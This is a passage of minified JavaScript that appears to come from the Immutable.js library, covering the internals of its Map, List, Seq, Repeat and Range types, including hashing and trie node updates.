this._object.hasOwnProperty(t)},rt.prototype.__iterate=function(t,e){for(var r=this._object,n=this._keys,i=n.length-1,o=0;o<=i;o++){var a=n[e?i-o:o];if(!1===t(r[a],a,this))return o+1}return o},rt.prototype.__iterator=function(t,e){var r=this._object,n=this._keys,i=n.length-1,o=0;return new P((function(){var a=n[e?i-o:o];return o++>i?{value:void 0,done:!0}:z(t,a,r[a])}))},rt.prototype[d]=!0,e(nt,X),nt.prototype.__iterateUncached=function(t,e){if(e)return this.cacheResult().__iterate(t,e);var r=H(this._iterable),n=0;if(q(r))for(var i;!(i=r.next()).done&&!1!==t(i.value,n++,this););return n},nt.prototype.__iteratorUncached=function(t,e){if(e)return this.cacheResult().__iterator(t,e);var r=H(this._iterable);if(!q(r))return new P(j);var n=0;return new P((function(){var e=r.next();return e.done?e:z(t,n++,e.value)}))},e(it,X),it.prototype.__iterateUncached=function(t,e){if(e)return this.cacheResult().__iterate(t,e);for(var r,n=this._iterator,i=this._iteratorCache,o=0;o<i.length;)if(!1===t(i[o],o++,this))return o;for(;!(r=n.next()).done;){var a=r.value;if(i[o]=a,!1===t(a,o++,this))break}return o},it.prototype.__iteratorUncached=function(t,e){if(e)return this.cacheResult().__iterator(t,e);var r=this._iterator,n=this._iteratorCache,i=0;return new P((function(){if(i>=n.length){var e=r.next();if(e.done)return e;n[i]=e.value}return z(t,i,n[i++])}))},e(mt,X),mt.prototype.toString=function(){return 0===this.size?"Repeat []":"Repeat [ "+this._value+" "+this.size+" times ]"},mt.prototype.get=function(t,e){return this.has(t)?this._value:e},mt.prototype.includes=function(t){return yt(this._value,t)},mt.prototype.slice=function(t,e){var r=this.size;return K(t,e,r)?this:new mt(this._value,M(e,r)-T(t,r))},mt.prototype.reverse=function(){return this},mt.prototype.indexOf=function(t){return yt(this._value,t)?0:-1},mt.prototype.lastIndexOf=function(t){return yt(this._value,t)?this.size:-1},mt.prototype.__iterate=function(t,e){for(var r=0;r<this.size;r++)if(!1===t(this._value,r,this))return r+1;return r},mt.prototype.__iterator=function(t,e){var r=this,n=0;return new P((function(){return n<r.size?z(t,n++,r._value):{value:void 0,done:!0}}))},mt.prototype.equals=function(t){return t instanceof mt?yt(this._value,t._value):vt(t)},e(bt,X),bt.prototype.toString=function(){return 0===this.size?"Range []":"Range [ "+this._start+"..."+this._end+(this._step>1?" by "+this._step:"")+" ]"},bt.prototype.get=function(t,e){return this.has(t)?this._start+O(this,t)*this._step:e},bt.prototype.includes=function(t){var e=(t-this._start)/this._step;return e>=0&&e<this.size&&e===Math.floor(e)},bt.prototype.slice=function(t,e){return K(t,e,this.size)?this:(t=T(t,this.size),(e=M(e,this.size))<=t?new bt(0,0):new bt(this.get(t,this._end),this.get(e,this._end),this._step))},bt.prototype.indexOf=function(t){var e=t-this._start;if(e%this._step==0){var r=e/this._step;if(r>=0&&r<this.size)return r}return-1},bt.prototype.lastIndexOf=function(t){return this.indexOf(t)},bt.prototype.__iterate=function(t,e){for(var r=this.size-1,n=this._step,i=e?this._start+r*n:this._start,o=0;o<=r;o++){if(!1===t(i,o,this))return o+1;i+=e?-n:n}return o},bt.prototype.__iterator=function(t,e){var r=this.size-1,n=this._step,i=e?this._start+r*n:this._start,o=0;return new P((function(){var a=i;return i+=e?-n:n,o>r?{value:void 0,done:!0}:z(t,o++,a)}))},bt.prototype.equals=function(t){return t instanceof bt?this._start===t._start&&this._end===t._end&&this._step===t._step:vt(this,t)},e(St,r),e(wt,St),e(xt,St),e(kt,St),St.Keyed=wt,St.Indexed=xt,St.Set=kt;var Ct="function"==typeof Math.imul&&-2===Math.imul(4294967295,2)?Math.imul:function(t,e){var r=65535&(t|=0),n=65535&(e|=0);return r*n+((t>>>16)*n+r*(e>>>16)<<16>>>0)|0};function Et(t){return t>>>1&1073741824|3221225471&t}function Ot(t){if(!1===t||null==t)return 0;if("function"==typeof t.valueOf&&(!1===(t=t.valueOf())||null==t))return 0;if(!0===t)return 1;var e=typeof t;if("number"===e){var r=0|t;for(r!==t&&(r^=4294967295*t);t>4294967295;)r^=t/=4294967295;return Et(r)}if("string"===e)return t.length>Lt?function(t){var e=Ft[t];return void 0===e&&(e=Dt(t),Nt===Rt&&(Nt=0,Ft={}),Nt++,Ft[t]=e),e}(t):Dt(t);if("function"==typeof t.hashCode)return t.hashCode();if("object"===e)return function(t){var e;if(At&&void 0!==(e=Mt.get(t)))return e;if(void 0!==(e=t[Bt]))return e;if(!Tt){if(void 0!==(e=t.propertyIsEnumerable&&t.propertyIsEnumerable[Bt]))return e;if(void 0!==(e=function(t){if(t&&t.nodeType>0)switch(t.nodeType){case 1:return t.uniqueID;case 9:return t.documentElement&&t.documentElement.uniqueID}}(t)))return e}if(e=++It,1073741824&It&&(It=0),At)Mt.set(t,e);else{if(void 0!==Kt&&!1===Kt(t))throw new Error("Non-extensible objects are not allowed as keys.");if(Tt)Object.defineProperty(t,Bt,{enumerable:!1,configurable:!1,writable:!1,value:e});else if(void 0!==t.propertyIsEnumerable&&t.propertyIsEnumerable===t.constructor.prototype.propertyIsEnumerable)t.propertyIsEnumerable=function(){return this.constructor.prototype.propertyIsEnumerable.apply(this,arguments)},t.propertyIsEnumerable[Bt]=e;else{if(void 0===t.nodeType)throw new Error("Unable to set a non-enumerable property on object.");t[Bt]=e}}return e}(t);if("function"==typeof t.toString)return Dt(t.toString());throw new Error("Value type "+e+" cannot be hashed.")}function Dt(t){for(var e=0,r=0;r<t.length;r++)e=31*e+t.charCodeAt(r)|0;return Et(e)}var Kt=Object.isExtensible,Tt=function(){try{return Object.defineProperty({},"@",{}),!0}catch(t){return!1}}();var Mt,At="function"==typeof WeakMap;At&&(Mt=new WeakMap);var It=0,Bt="__immutablehash__";"function"==typeof Symbol&&(Bt=Symbol(Bt));var Lt=16,Rt=255,Nt=0,Ft={};function Pt(t){_t(t!==1/0,"Cannot perform this action with an infinite size.")}function zt(t){return null==t?te():jt(t)&&!l(t)?t:te().withMutations((function(e){var r=n(t);Pt(r.size),r.forEach((function(t,r){return e.set(r,t)}))}))}function jt(t){return!(!t||!t[qt])}e(zt,wt),zt.prototype.toString=function(){return this.__toString("Map {","}")},zt.prototype.get=function(t,e){return this._root?this._root.get(0,void 0,t,e):e},zt.prototype.set=function(t,e){return ee(this,t,e)},zt.prototype.setIn=function(t,e){return this.updateIn(t,_,(function(){return e}))},zt.prototype.remove=function(t){return ee(this,t,_)},zt.prototype.deleteIn=function(t){return this.updateIn(t,(function(){return _}))},zt.prototype.update=function(t,e,r){return 1===arguments.length?t(this):this.updateIn([t],e,r)},zt.prototype.updateIn=function(t,e,r){r||(r=e,e=void 0);var n=ce(this,or(t),e,r);return n===_?void 0:n},zt.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._root=null,this.__hash=void 0,this.__altered=!0,this):te()},zt.prototype.merge=function(){return oe(this,void 0,arguments)},zt.prototype.mergeWith=function(e){return oe(this,e,t.call(arguments,1))},zt.prototype.mergeIn=function(e){var r=t.call(arguments,1);return this.updateIn(e,te(),(function(t){return"function"==typeof t.merge?t.merge.apply(t,r):r[r.length-1]}))},zt.prototype.mergeDeep=function(){return oe(this,ae,arguments)},zt.prototype.mergeDeepWith=function(e){var r=t.call(arguments,1);return oe(this,se(e),r)},zt.prototype.mergeDeepIn=function(e){var r=t.call(arguments,1);return this.updateIn(e,te(),(function(t){return"function"==typeof t.mergeDeep?t.mergeDeep.apply(t,r):r[r.length-1]}))},zt.prototype.sort=function(t){return Ae(Je(this,t))},zt.prototype.sortBy=function(t,e){return Ae(Je(this,e,t))},zt.prototype.withMutations=function(t){var e=this.asMutable();return t(e),e.wasAltered()?e.__ensureOwner(this.__ownerID):this},zt.prototype.asMutable=function(){return this.__ownerID?this:this.__ensureOwner(new k)},zt.prototype.asImmutable=function(){return this.__ensureOwner()},zt.prototype.wasAltered=function(){return this.__altered},zt.prototype.__iterator=function(t,e){return new Yt(this,t,e)},zt.prototype.__iterate=function(t,e){var r=this,n=0;return this._root&&this._root.iterate((function(e){return n++,t(e[1],e[0],r)}),e),n},zt.prototype.__ensureOwner=function(t){return t===this.__ownerID?this:t?Qt(this.size,this._root,t,this.__hash):(this.__ownerID=t,this.__altered=!1,this)},zt.isMap=jt;var Ut,qt="@@__IMMUTABLE_MAP__@@",Ht=zt.prototype;function Wt(t,e){this.ownerID=t,this.entries=e}function Vt(t,e,r){this.ownerID=t,this.bitmap=e,this.nodes=r}function Gt(t,e,r){this.ownerID=t,this.count=e,this.nodes=r}function Jt(t,e,r){this.ownerID=t,this.keyHash=e,this.entries=r}function Xt(t,e,r){this.ownerID=t,this.keyHash=e,this.entry=r}function Yt(t,e,r){this._type=e,this._reverse=r,this._stack=t._root&&Zt(t._root)}function $t(t,e){return z(t,e[0],e[1])}function Zt(t,e){return{node:t,index:0,__prev:e}}function Qt(t,e,r,n){var i=Object.create(Ht);return i.size=t,i._root=e,i.__ownerID=r,i.__hash=n,i.__altered=!1,i}function te(){return Ut||(Ut=Qt(0))}function ee(t,e,r){var n,i;if(t._root){var o=w(b),a=w(S);if(n=re(t._root,t.__ownerID,0,void 0,e,r,o,a),!a.value)return t;i=t.size+(o.value?r===_?-1:1:0)}else{if(r===_)return t;i=1,n=new Wt(t.__ownerID,[[e,r]])}return t.__ownerID?(t.size=i,t._root=n,t.__hash=void 0,t.__altered=!0,t):n?Qt(i,n):te()}function re(t,e,r,n,i,o,a,s){return t?t.update(e,r,n,i,o,a,s):o===_?t:(x(s),x(a),new Xt(e,n,[i,o]))}function ne(t){return t.constructor===Xt||t.constructor===Jt}function ie(t,e,r,n,i){if(t.keyHash===n)return new Jt(e,n,[t.entry,i]);var o,a=(0===r?t.keyHash:t.keyHash>>>r)&m,s=(0===r?n:n>>>r)&m;return new Vt(e,1<<a|1<<s,a===s?[ie(t,e,r+y,n,i)]:(o=new Xt(e,n,i),a<s?[t,o]:[o,t]))}function oe(t,e,r){for(var i=[],o=0;o<r.length;o++){var s=r[o],u=n(s);a(s)||(u=u.map((function(t){return pt(t)}))),i.push(u)}return ue(t,e,i)}function ae(t,e,r){return t&&t.mergeDeep&&a(e)?t.mergeDeep(e):yt(t,e)?t:e}function se(t){return function(e,r,n){if(e&&e.mergeDeepWith&&a(r))return e.mergeDeepWith(t,r);var i=t(e,r,n);return yt(e,i)?e:i}}function ue(t,e,r){return 0===(r=r.filter((function(t){return 0!==t.size}))).length?t:0!==t.size||t.__ownerID||1!==r.length?t.withMutations((function(t){for(var n=e?function(r,n){t.update(n,_,(function(t){return t===_?r:e(t,r,n)}))}:function(e,r){t.set(r,e)},i=0;i<r.length;i++)r[i].forEach(n)})):t.constructor(r[0])}function ce(t,e,r,n){var i=t===_,o=e.next();if(o.done){var a=i?r:t,s=n(a);return s===a?t:s}_t(i||t&&t.set,"invalid keyPath");var u=o.value,c=i?_:t.get(u,_),l=ce(c,e,r,n);return l===c?t:l===_?t.remove(u):(i?te():t).set(u,l)}function le(t){return t=(t=(858993459&(t-=t>>1&1431655765))+(t>>2&858993459))+(t>>4)&252645135,127&(t+=t>>8)+(t>>16)}function fe(t,e,r,n){var i=n?t:C(t);return i[e]=r,i}Ht[qt]=!0,Ht[g]=Ht.remove,Ht.removeIn=Ht.deleteIn,Wt.prototype.get=function(t,e,r,n){for(var i=this.entries,o=0,a=i.length;o<a;o++)if(yt(r,i[o][0]))return i[o][1];return n},Wt.prototype.update=function(t,e,r,n,i,o,a){for(var s=i===_,u=this.entries,c=0,l=u.length;c<l&&!yt(n,u[c][0]);c++);var f=c<l;if(f?u[c][1]===i:s)return this;if(x(a),(s||!f)&&x(o),!s||1!==u.length){if(!f&&!s&&u.length>=pe)return function(t,e,r,n){t||(t=new k);for(var i=new Xt(t,Ot(r),[r,n]),o=0;o<e.length;o++){var a=e[o];i=i.update(t,0,void 0,a[0],a[1])}return i}(t,u,n,i);var p=t&&t===this.ownerID,h=p?u:C(u);return f?s?c===l-1?h.pop():h[c]=h.pop():h[c]=[n,i]:h.push([n,i]),p?(this.entries=h,this):new Wt(t,h)}},Vt.prototype.get=function(t,e,r,n){void 0===e&&(e=Ot(r));var i=1<<((0===t?e:e>>>t)&m),o=this.bitmap;return 0==(o&i)?n:this.nodes[le(o&i-1)].get(t+y,e,r,n)},Vt.prototype.update=function(t,e,r,n,i,o,a){void 0===r&&(r=Ot(n));var s=(0===e?r:r>>>e)&m,u=1<<s,c=this.bitmap,l=0!=(c&u);if(!l&&i===_)return this;var f=le(c&u-1),p=this.nodes,h=l?p[f]:void 0,d=re(h,t,e+y,r,n,i,o,a);if(d===h)return this;if(!l&&d&&p.length>=he)return function(t,e,r,n,i){for(var o=0,a=new Array(v),s=0;0!==r;s++,r>>>=1)a[s]=1&r?e[o++]:void 0;return a[n]=i,new Gt(t,o+1,a)}(t,p,c,s,d);if(l&&!d&&2===p.length&&ne(p[1^f]))return p[1^f];if(l&&d&&1===p.length&&ne(d))return d;var g=t&&t===this.ownerID,b=l?d?c:c^u:c|u,S=l?d?fe(p,f,d,g):function(t,e,r){var n=t.length-1;if(r&&e===n)return t.pop(),t;for(var i=new Array(n),o=0,a=0;a<n;a++)a===e&&(o=1),i[a]=t[a+o];return i}(p,f,g):function(t,e,r,n){var i=t.length+1;if(n&&e+1===i)return t[e]=r,t;for(var o=new Array(i),a=0,s=0;s<i;s++)s===e?(o[s]=r,a=-1):o[s]=t[s+a];return o}(p,f,d,g);return g?(this.bitmap=b,this.nodes=S,this):new Vt(t,b,S)},Gt.prototype.get=function(t,e,r,n){void 0===e&&(e=Ot(r));var i=(0===t?e:e>>>t)&m,o=this.nodes[i];return o?o.get(t+y,e,r,n):n},Gt.prototype.update=function(t,e,r,n,i,o,a){void 0===r&&(r=Ot(n));var s=(0===e?r:r>>>e)&m,u=i===_,c=this.nodes,l=c[s];if(u&&!l)return this;var f=re(l,t,e+y,r,n,i,o,a);if(f===l)return this;var p=this.count;if(l){if(!f&&--p<de)return function(t,e,r,n){for(var i=0,o=0,a=new Array(r),s=0,u=1,c=e.length;s<c;s++,u<<=1){var l=e[s];void 0!==l&&s!==n&&(i|=u,a[o++]=l)}return new Vt(t,i,a)}(t,c,p,s)}else p++;var h=t&&t===this.ownerID,d=fe(c,s,f,h);return h?(this.count=p,this.nodes=d,this):new Gt(t,p,d)},Jt.prototype.get=function(t,e,r,n){for(var i=this.entries,o=0,a=i.length;o<a;o++)if(yt(r,i[o][0]))return i[o][1];return n},Jt.prototype.update=function(t,e,r,n,i,o,a){void 0===r&&(r=Ot(n));var s=i===_;if(r!==this.keyHash)return s?this:(x(a),x(o),ie(this,t,e,r,[n,i]));for(var u=this.entries,c=0,l=u.length;c<l&&!yt(n,u[c][0]);c++);var f=c<l;if(f?u[c][1]===i:s)return this;if(x(a),(s||!f)&&x(o),s&&2===l)return new Xt(t,this.keyHash,u[1^c]);var p=t&&t===this.ownerID,h=p?u:C(u);return f?s?c===l-1?h.pop():h[c]=h.pop():h[c]=[n,i]:h.push([n,i]),p?(this.entries=h,this):new Jt(t,this.keyHash,h)},Xt.prototype.get=function(t,e,r,n){return yt(r,this.entry[0])?this.entry[1]:n},Xt.prototype.update=function(t,e,r,n,i,o,a){var s=i===_,u=yt(n,this.entry[0]);return(u?i===this.entry[1]:s)?this:(x(a),s?void x(o):u?t&&t===this.ownerID?(this.entry[1]=i,this):new Xt(t,this.keyHash,[n,i]):(x(o),ie(this,t,e,Ot(n),[n,i])))},Wt.prototype.iterate=Jt.prototype.iterate=function(t,e){for(var r=this.entries,n=0,i=r.length-1;n<=i;n++)if(!1===t(r[e?i-n:n]))return!1},Vt.prototype.iterate=Gt.prototype.iterate=function(t,e){for(var r=this.nodes,n=0,i=r.length-1;n<=i;n++){var o=r[e?i-n:n];if(o&&!1===o.iterate(t,e))return!1}},Xt.prototype.iterate=function(t,e){return t(this.entry)},e(Yt,P),Yt.prototype.next=function(){for(var t=this._type,e=this._stack;e;){var r,n=e.node,i=e.index++;if(n.entry){if(0===i)return $t(t,n.entry)}else if(n.entries){if(i<=(r=n.entries.length-1))return $t(t,n.entries[this._reverse?r-i:i])}else if(i<=(r=n.nodes.length-1)){var o=n.nodes[this._reverse?r-i:i];if(o){if(o.entry)return $t(t,o.entry);e=this._stack=Zt(o,e)}continue}e=this._stack=this._stack.__prev}return{value:void 0,done:!0}};var pe=v/4,he=v/2,de=v/4;function ge(t){var e=Ce();if(null==t)return e;if(ye(t))return t;var r=i(t),n=r.size;return 0===n?e:(Pt(n),n>0&&n<v?ke(0,n,y,null,new _e(r.toArray())):e.withMutations((function(t){t.setSize(n),r.forEach((function(e,r){return t.set(r,e)}))})))}function ye(t){return!(!t||!t[ve])}e(ge,xt),ge.of=function(){return this(arguments)},ge.prototype.toString=function(){return this.__toString("List [","]")},ge.prototype.get=function(t,e){if((t=O(this,t))>=0&&t<this.size){var r=De(this,t+=this._origin);return r&&r.array[t&m]}return e},ge.prototype.set=function(t,e){return function(t,e,r){if((e=O(t,e))!=e)return t;if(e>=t.size||e<0)return t.withMutations((function(t){e<0?Ke(t,e).set(0,r):Ke(t,0,e+1).set(e,r)}));e+=t._origin;var n=t._tail,i=t._root,o=w(S);return e>=Me(t._capacity)?n=Ee(n,t.__ownerID,0,e,r,o):i=Ee(i,t.__ownerID,t._level,e,r,o),o.value?t.__ownerID?(t._root=i,t._tail=n,t.__hash=void 0,t.__altered=!0,t):ke(t._origin,t._capacity,t._level,i,n):t}(this,t,e)},ge.prototype.remove=function(t){return this.has(t)?0===t?this.shift():t===this.size-1?this.pop():this.splice(t,1):this},ge.prototype.insert=function(t,e){return this.splice(t,0,e)},ge.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=this._origin=this._capacity=0,this._level=y,this._root=this._tail=null,this.__hash=void 0,this.__altered=!0,this):Ce()},ge.prototype.push=function(){var t=arguments,e=this.size;return this.withMutations((function(r){Ke(r,0,e+t.length);for(var n=0;n<t.length;n++)r.set(e+n,t[n])}))},ge.prototype.pop=function(){return Ke(this,0,-1)},ge.prototype.unshift=function(){var t=arguments;return this.withMutations((function(e){Ke(e,-t.length);for(var r=0;r<t.length;r++)e.set(r,t[r])}))},ge.prototype.shift=function(){return Ke(this,1)},ge.prototype.merge=function(){return Te(this,void 0,arguments)},ge.prototype.mergeWith=function(e){return Te(this,e,t.call(arguments,1))},ge.prototype.mergeDeep=function(){return Te(this,ae,arguments)},ge.prototype.mergeDeepWith=function(e){var r=t.call(arguments,1);return Te(this,se(e),r)},ge.prototype.setSize=function(t){return Ke(this,0,t)},ge.prototype.slice=function(t,e){var r=this.size;return K(t,e,r)?this:Ke(this,T(t,r),M(e,r))},ge.prototype.__iterator=function(t,e){var r=0,n=xe(this,e);return new P((function(){var e=n();return e===we?{value:void 0,done:!0}:z(t,r++,e)}))},ge.prototype.__iterate=function(t,e){for(var r,n=0,i=xe(this,e);(r=i())!==we&&!1!==t(r,n++,this););return n},ge.prototype.__ensureOwner=function(t){return t===this.__ownerID?this:t?ke(this._origin,this._capacity,this._level,this._root,this._tail,t,this.__hash):(this.__ownerID=t,this)},ge.isList=ye;var ve="@@__IMMUTABLE_LIST__@@",me=ge.prototype;function _e(t,e){this.array=t,this.ownerID=e}me[ve]=!0,me[g]=me.remove,me.setIn=Ht.setIn,me.deleteIn=me.removeIn=Ht.removeIn,me.update=Ht.update,me.updateIn=Ht.updateIn,me.mergeIn=Ht.mergeIn,me.mergeDeepIn=Ht.mergeDeepIn,me.withMutations=Ht.withMutations,me.asMutable=Ht.asMutable,me.asImmutable=Ht.asImmutable,me.wasAltered=Ht.wasAltered,_e.prototype.removeBefore=function(t,e,r){if(r===e?1<<e:0===this.array.length)return this;var n=r>>>e&m;if(n>=this.array.length)return new _e([],t);var i,o=0===n;if(e>0){var a=this.array[n];if((i=a&&a.removeBefore(t,e-y,r))===a&&o)return this}if(o&&!i)return this;var s=Oe(this,t);if(!o)for(var u=0;u<n;u++)s.array[u]=void 0;return i&&(s.array[n]=i),s},_e.prototype.removeAfter=function(t,e,r){if(r===(e?1<<e:0)||0===this.array.length)return this;var n,i=r-1>>>e&m;if(i>=this.array.length)return this;if(e>0){var o=this.array[i];if((n=o&&o.removeAfter(t,e-y,r))===o&&i===this.array.length-1)return this}var a=Oe(this,t);return a.array.splice(i+1),n&&(a.array[i]=n),a};var be,Se,we={};function xe(t,e){var r=t._origin,n=t._capacity,i=Me(n),o=t._tail;return a(t._root,t._level,0);function a(t,s,u){return 0===s?function(t,a){var s=a===i?o&&o.array:t&&t.array,u=a>r?0:r-a,c=n-a;return c>v&&(c=v),function(){if(u===c)return we;var t=e?--c:u++;return s&&s[t]}}(t,u):function(t,i,o){var s,u=t&&t.array,c=o>r?0:r-o>>i,l=1+(n-o>>i);return l>v&&(l=v),function(){for(;;){if(s){var t=s();if(t!==we)return t;s=null}if(c===l)return we;var r=e?--l:c++;s=a(u&&u[r],i-y,o+(r<<i))}}}(t,s,u)}}function ke(t,e,r,n,i,o,a){var s=Object.create(me);return s.size=e-t,s._origin=t,s._capacity=e,s._level=r,s._root=n,s._tail=i,s.__ownerID=o,s.__hash=a,s.__altered=!1,s}function Ce(){return be||(be=ke(0,0,y))}function Ee(t,e,r,n,i,o){var a,s=n>>>r&m,u=t&&s<t.array.length;if(!u&&void 0===i)return t;if(r>0){var c=t&&t.array[s],l=Ee(c,e,r-y,n,i,o);return l===c?t:((a=Oe(t,e)).array[s]=l,a)}return u&&t.array[s]===i?t:(x(o),a=Oe(t,e),void 0===i&&s===a.array.length-1?a.array.pop():a.array[s]=i,a)}function Oe(t,e){return e&&t&&e===t.ownerID?t:new _e(t?t.array.slice():[],e)}function De(t,e){if(e>=Me(t._capacity))return t._tail;if(e<1<<t._level+y){for(var r=t._root,n=t._level;r&&n>0;)r=r.array[e>>>n&m],n-=y;return r}}function Ke(t,e,r){void 0!==e&&(e|=0),void 0!==r&&(r|=0);var n=t.__ownerID||new k,i=t._origin,o=t._capacity,a=i+e,s=void 0===r?o:r<0?o+r:i+r;if(a===i&&s===o)return t;if(a>=s)return t.clear();for(var u=t._level,c=t._root,l=0;a+l<0;)c=new _e(c&&c.array.length?[void 0,c]:[],n),l+=1<<(u+=y);l&&(a+=l,i+=l,s+=l,o+=l);for(var f=Me(o),p=Me(s);p>=1<<u+y;)c=new _e(c&&c.array.length?[c]:[],n),u+=y;var h=t._tail,d=p<f?De(t,s-1):p>f?new _e([],n):h;if(h&&p>f&&a<o&&h.array.length){for(var g=c=Oe(c,n),v=u;v>y;v-=y){var _=f>>>v&m;g=g.array[_]=Oe(g.array[_],n)}g.array[f>>>y&m]=h}if(s<o&&(d=d&&d.removeAfter(n,0,s)),a>=p)a-=p,s-=p,u=y,c=null,d=d&&d.removeBefore(n,0,a);else if(a>i||p<f){for(l=0;c;){var b=a>>>u&m;if(b!==p>>>u&m)break;b&&(l+=(1<<u)*b),u-=y,c=c.array[b]}c&&a>i&&(c=c.removeBefore(n,u,a-l)),c&&p<f&&(c=c.removeAfter(n,u,p-l)),l&&(a-=l,s-=l)}return t.__ownerID?(t.size=s-a,t._origin=a,t._capacity=s,t._level=u,t._root=c,t._tail=d,t.__hash=void 0,t.__altered=!0,t):ke(a,s,u,c,d)}function Te(t,e,r){for(var n=[],o=0,s=0;s<r.length;s++){var u=r[s],c=i(u);c.size>o&&(o=c.size),a(u)||(c=c.map((function(t){return pt(t)}))),n.push(c)}return o>t.size&&(t=t.setSize(o)),ue(t,e,n)}function Me(t){return t<v?0:t-1>>>y<<y}function Ae(t){return null==t?Le():Ie(t)?t:Le().withMutations((function(e){var r=n(t);Pt(r.size),r.forEach((function(t,r){return e.set(r,t)}))}))}function Ie(t){return jt(t)&&l(t)}function Be(t,e,r,n){var i=Object.create(Ae.prototype);return i.size=t?t.size:0,i._map=t,i._list=e,i.__ownerID=r,i.__hash=n,i}function Le(){return Se||(Se=Be(te(),Ce()))}function Re(t,e,r){var n,i,o=t._map,a=t._list,s=o.get(e),u=void 0!==s;if(r===_){if(!u)return t;a.size>=v&&a.size>=2*o.size?(n=(i=a.filter((function(t,e){return void 0!==t&&s!==e}))).toKeyedSeq().map((function(t){return t[0]})).flip().toMap(),t.__ownerID&&(n.__ownerID=i.__ownerID=t.__ownerID)):(n=o.remove(e),i=s===a.size-1?a.pop():a.set(s,void 0))}else if(u){if(r===a.get(s)[1])return t;n=o,i=a.set(s,[e,r])}else n=o.set(e,a.size),i=a.set(a.size,[e,r]);return t.__ownerID?(t.size=n.size,t._map=n,t._list=i,t.__hash=void 0,t):Be(n,i)}function Ne(t,e){this._iter=t,this._useKeys=e,this.size=t.size}function Fe(t){this._iter=t,this.size=t.size}function Pe(t){this._iter=t,this.size=t.size}function ze(t){this._iter=t,this.size=t.size}function je(t){var e=rr(t);return e._iter=t,e.size=t.size,e.flip=function(){return t},e.reverse=function(){var e=t.reverse.apply(this);return e.flip=function(){return t.reverse()},e},e.has=function(e){return t.includes(e)},e.includes=function(e){return t.has(e)},e.cacheResult=nr,e.__iterateUncached=function(e,r){var n=this;return t.__iterate((function(t,r){return!1!==e(r,t,n)}),r)},e.__iteratorUncached=function(e,r){if(e===L){var n=t.__iterator(e,r);return new P((function(){var t=n.next();if(!t.done){var e=t.value[0];t.value[0]=t.value[1],t.value[1]=e}return t}))}return t.__iterator(e===B?I:B,r)},e}function Ue(t,e,r){var n=rr(t);return n.size=t.size,n.has=function(e){return t.has(e)},n.get=function(n,i){var o=t.get(n,_);return o===_?i:e.call(r,o,n,t)},n.__iterateUncached=function(n,i){var o=this;return t.__iterate((function(t,i,a){return!1!==n(e.call(r,t,i,a),i,o)}),i)},n.__iteratorUncached=function(n,i){var o=t.__iterator(L,i);return new P((function(){var i=o.next();if(i.done)return i;var a=i.value,s=a[0];return z(n,s,e.call(r,a[1],s,t),i)}))},n}function qe(t,e){var r=rr(t);return r._iter=t,r.size=t.size,r.reverse=function(){return t},t.flip&&(r.flip=function(){var e=je(t);return e.reverse=function(){return t.flip()},e}),r.get=function(r,n){return t.get(e?r:-1-r,n)},r.has=function(r){return t.has(e?r:-1-r)},r.includes=function(e){return t.includes(e)},r.cacheResult=nr,r.__iterate=function(e,r){var n=this;return t.__iterate((function(t,r){return e(t,r,n)}),!r)},r.__iterator=function(e,r){return t.__iterator(e,!r)},r}function He(t,e,r,n){var i=rr(t);return n&&(i.has=function(n){var i=t.get(n,_);return i!==_&&!!e.call(r,i,n,t)},i.get=function(n,i){var o=t.get(n,_);return o!==_&&e.call(r,o,n,t)?o:i}),i.__iterateUncached=function(i,o){var a=this,s=0;return t.__iterate((function(t,o,u){if(e.call(r,t,o,u))return s++,i(t,n?o:s-1,a)}),o),s},i.__iteratorUncached=function(i,o){var a=t.__iterator(L,o),s=0;return new P((function(){for(;;){var o=a.next();if(o.done)return o;var u=o.value,c=u[0],l=u[1];if(e.call(r,l,c,t))return z(i,n?c:s++,l,o)}}))},i}function We(t,e,r,n){var i=t.size;if(void 0!==e&&(e|=0),void 0!==r&&(r|=0),K(e,r,i))return t;var o=T(e,i),a=M(r,i);if(o!=o||a!=a)return We(t.toSeq().cacheResult(),e,r,n);var s,u=a-o;u==u&&(s=u<0?0:u);var c=rr(t);return c.size=0===s?s:t.size&&s||void 0,!n&&ot(t)&&s>=0&&(c.get=function(e,r){return(e=O(this,e))>=0&&e<s?t.get(e+o,r):r}),c.__iterateUncached=function(e,r){var i=this;if(0===s)return 0;if(r)return this.cacheResult().__iterate(e,r);var a=0,u=!0,c=0;return t.__iterate((function(t,r){if(!u||!(u=a++<o))return c++,!1!==e(t,n?r:c-1,i)&&c!==s})),c},c.__iteratorUncached=function(e,r){if(0!==s&&r)return this.cacheResult().__iterator(e,r);var i=0!==s&&t.__iterator(e,r),a=0,u=0;return new P((function(){for(;a++<o;)i.next();if(++u>s)return{value:void 0,done:!0};var t=i.next();return n||e===B?t:z(e,u-1,e===I?void 0:t.value[1],t)}))},c}function Ve(t,e,r,n){var i=rr(t);return i.__iterateUncached=function(i,o){var a=this;if(o)return this.cacheResult().__iterate(i,o);var s=!0,u=0;return t.__iterate((function(t,o,c){if(!s||!(s=e.call(r,t,o,c)))return u++,i(t,n?o:u-1,a)})),u},i.__iteratorUncached=function(i,o){var a=this;if(o)return this.cacheResult().__iterator(i,o);var s=t.__iterator(L,o),u=!0,c=0;return new P((function(){var t,o,l;do{if((t=s.next()).done)return n||i===B?t:z(i,c++,i===I?void 0:t.value[1],t);var f=t.value;o=f[0],l=f[1],u&&(u=e.call(r,l,o,a))}while(u);return i===L?t:z(i,o,l,t)}))},i}function Ge(t,e,r){var n=rr(t);return n.__iterateUncached=function(n,i){var o=0,s=!1;return function t(u,c){var l=this;u.__iterate((function(i,u){return(!e||c<e)&&a(i)?t(i,c+1):!1===n(i,r?u:o++,l)&&(s=!0),!s}),i)}(t,0),o},n.__iteratorUncached=function(n,i){var o=t.__iterator(n,i),s=[],u=0;return new P((function(){for(;o;){var t=o.next();if(!1===t.done){var c=t.value;if(n===L&&(c=c[1]),e&&!(s.length<e)||!a(c))return r?t:z(n,u++,c,t);s.push(o),o=c.__iterator(n,i)}else o=s.pop()}return{value:void 0,done:!0}}))},n}function Je(t,e,r){e||(e=ir);var n=s(t),i=0,o=t.toSeq().map((function(e,n){return[n,e,i++,r?r(e,n,t):e]})).toArray();return o.sort((function(t,r){return e(t[3],r[3])||t[2]-r[2]})).forEach(n?function(t,e){o[e].length=2}:function(t,e){o[e]=t[1]}),n?J(o):u(t)?X(o):Y(o)}function Xe(t,e,r){if(e||(e=ir),r){var n=t.toSeq().map((function(e,n){return[e,r(e,n,t)]})).reduce((function(t,r){return Ye(e,t[1],r[1])?r:t}));return n&&n[0]}return t.reduce((function(t,r){return Ye(e,t,r)?r:t}))}function 